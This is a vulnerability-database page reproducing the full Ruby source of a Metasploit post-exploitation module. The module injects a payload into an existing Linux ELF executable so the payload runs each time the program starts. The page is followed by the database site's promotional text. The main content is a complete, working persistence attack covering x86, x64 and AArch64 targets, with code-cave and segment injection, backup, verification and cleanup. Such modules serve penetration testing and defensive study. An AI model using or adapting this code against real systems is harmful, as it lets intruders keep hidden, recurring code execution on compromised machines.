Lucene search
+L

Linux ELF Executable Payload Injection Persistence

🗓️ 27 Aug 2026 00:00:00Reported by dledda-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 3 Views

Linux ELF Executable Payload Injection Persistence module injects a payload into an ELF file.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Local::Persistence
  include Msf::Post::File
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux ELF Executable Payload Injection Persistence',
        'Description' => %q{
          This module injects a payload into an existing Linux ELF executable.
          The payload runs in a forked process whenever the executable is launched,
          while the original program continues from its original entry point.

          The target must be a writable x86, x64, or AArch64 ET_EXEC or ET_DYN file
          with an executable code cave or a reusable PT_NOTE/PT_NULL program header.
          The original ELF is stored as loot before it is changed.
        },
        'License' => MSF_LICENSE,
        'Author' => ['dledda-r7'],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Targets' => [
          ['Linux x64', { 'Platform' => %w[linux], 'Arch' => ARCH_X64 }],
          ['Linux x86', { 'Platform' => %w[linux], 'Arch' => ARCH_X86 }],
          ['Linux AArch64', { 'Platform' => %w[linux], 'Arch' => ARCH_AARCH64 }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2026-08-27',
        'DefaultOptions' => {
          'PrependExecOnce' => true
        },
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1027_009_EMBEDDED_PAYLOADS],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('ELF_PATH', [true, 'Absolute path to the ELF executable to modify'])
    ])

    deregister_options('WritableDir')
  end

  def check
    return CheckCode::Safe('ELF_PATH must be absolute') unless elf_path.start_with?('/')
    return CheckCode::Safe("ELF does not exist: #{elf_path}") unless file?(elf_path)
    return CheckCode::Safe("ELF is not readable: #{elf_path}") unless readable?(elf_path)
    return CheckCode::Safe("ELF is not writable: #{elf_path}") unless writable?(elf_path)
    return CheckCode::Safe("ELF is not executable: #{elf_path}") unless executable?(elf_path)

    original_elf = read_file(elf_path)
    return CheckCode::Unknown("Unable to read ELF: #{elf_path}") unless original_elf

    injector = Msf::Exe::ElfInjector.new(template: original_elf)
    return CheckCode::Safe('ELF already contains this injection marker') if injector.injected?
    return CheckCode::Safe("ELF architecture is #{injector.architecture}, but target is #{target_architecture}") unless injector.architecture == target_architecture

    injector = Msf::Exe::ElfInjector.new(template: original_elf, payload: check_payload)
    injector.generate
    CheckCode::Detected("Writable #{injector.architecture} ELF supports #{injection_technique(injector)}")
  rescue StandardError => e
    CheckCode::Unknown("Unable to validate ELF: #{e.message}")
  end

  def install_persistence
    original_elf = read_file(elf_path)
    fail_with(Failure::UnexpectedReply, "Unable to read ELF: #{elf_path}") unless original_elf

    restore_file_with_msg = lambda do |oelf, omode, bpath|
      restoration_succeeded = restore_original(oelf, omode)
      message = restoration_succeeded ? 'restoration succeeded' : "restoration failed; the original ELF backup is at #{bpath}. Copy it to #{elf_path} and set mode #{omode.to_s(8)} to recover"
      message
    end

    encoded_payload = payload.encoded
    begin
      injector = Msf::Exe::ElfInjector.new(template: original_elf, payload: encoded_payload)
      injected_elf = injector.generate
      original_mode = stat(elf_path).mode & 0o7777
    rescue StandardError => e
      fail_with(Failure::NotVulnerable, "ELF cannot be injected: #{e.message}")
    end
    fail_with(Failure::BadConfig, "ELF architecture is #{injector.architecture}, but target is #{target_architecture}") unless injector.architecture == target_architecture

    backup_path = store_loot(
      'linux.elf.backup',
      'application/octet-stream',
      session,
      original_elf,
      ::File.basename(elf_path),
      "Original ELF backup for #{elf_path}"
    )
    fail_with(Failure::UnexpectedReply, 'Failed to store the original ELF as loot') unless backup_path

    print_status("Injecting #{encoded_payload.bytesize} bytes into #{elf_path} using #{injection_technique(injector)}")
    begin
      write_succeeded = write_file(elf_path, injected_elf)
    rescue StandardError => e
      message = restore_file_with_msg.call(original_elf, original_mode, backup_path)
      fail_with(Failure::UnexpectedReply, "Failed to write injected ELF: #{e.message}; #{message}")
    end

    unless write_succeeded
      message = restore_file_with_msg.call(original_elf, original_mode, backup_path)
      fail_with(Failure::UnexpectedReply, "Failed to write injected ELF: #{elf_path}; #{message}")
    end

    begin
      chmod(elf_path, original_mode)
      written_elf = read_file(elf_path)
    rescue StandardError => e
      message = restore_file_with_msg.call(original_elf, original_mode, backup_path)
      fail_with(Failure::UnexpectedReply, "Failed to verify injected ELF: #{e.message}; #{message}")
    end

    unless written_elf && Digest::SHA256.hexdigest(written_elf) == Digest::SHA256.hexdigest(injected_elf)
      message = restore_file_with_msg.call(original_elf, original_mode, backup_path)
      fail_with(Failure::UnexpectedReply, "Injected ELF verification failed; #{message}")
    end

    if session.type == 'meterpreter'
      @clean_up_rc << %(upload "#{backup_path}" "#{elf_path}"\n)
      @clean_up_rc << %(execute -f /bin/chmod -a "#{original_mode.to_s(8)} #{elf_path}"\n)
    else
      print_warning('Targeted session is not a meterpreter type, cleanup commands will not be generated')
      print_status("Original ELF backup saved to #{backup_path}")
    end
    print_good("Payload will execute when #{elf_path} is launched")
  end

  private

  def elf_path
    datastore['ELF_PATH']
  end

  def target_architecture
    target.arch.first.to_sym
  end

  def check_payload
    return payload.encoded if payload

    selected_payload = framework.payloads.create(datastore['PAYLOAD'])
    raise ArgumentError, 'No payload has been selected' unless selected_payload

    selected_payload.share_datastore(datastore)
    generate_single_payload(selected_payload).encoded
  end

  def injection_technique(injector)
    injector.technique == :code_cave ? 'an executable code cave' : 'a new executable segment'
  end

  def restore_original(original_elf, original_mode)
    print_warning('Attempting to restore the original ELF')
    unless write_file(elf_path, original_elf)
      print_error('Failed to write the original ELF')
      return false
    end

    chmod(elf_path, original_mode)
    restored_elf = read_file(elf_path)
    unless restored_elf && Digest::SHA256.hexdigest(restored_elf) == Digest::SHA256.hexdigest(original_elf)
      print_error('Restored ELF verification failed')
      return false
    end

    true
  rescue StandardError => e
    print_error("Failed to restore the original ELF: #{e.message}")
    false
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Aug 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
3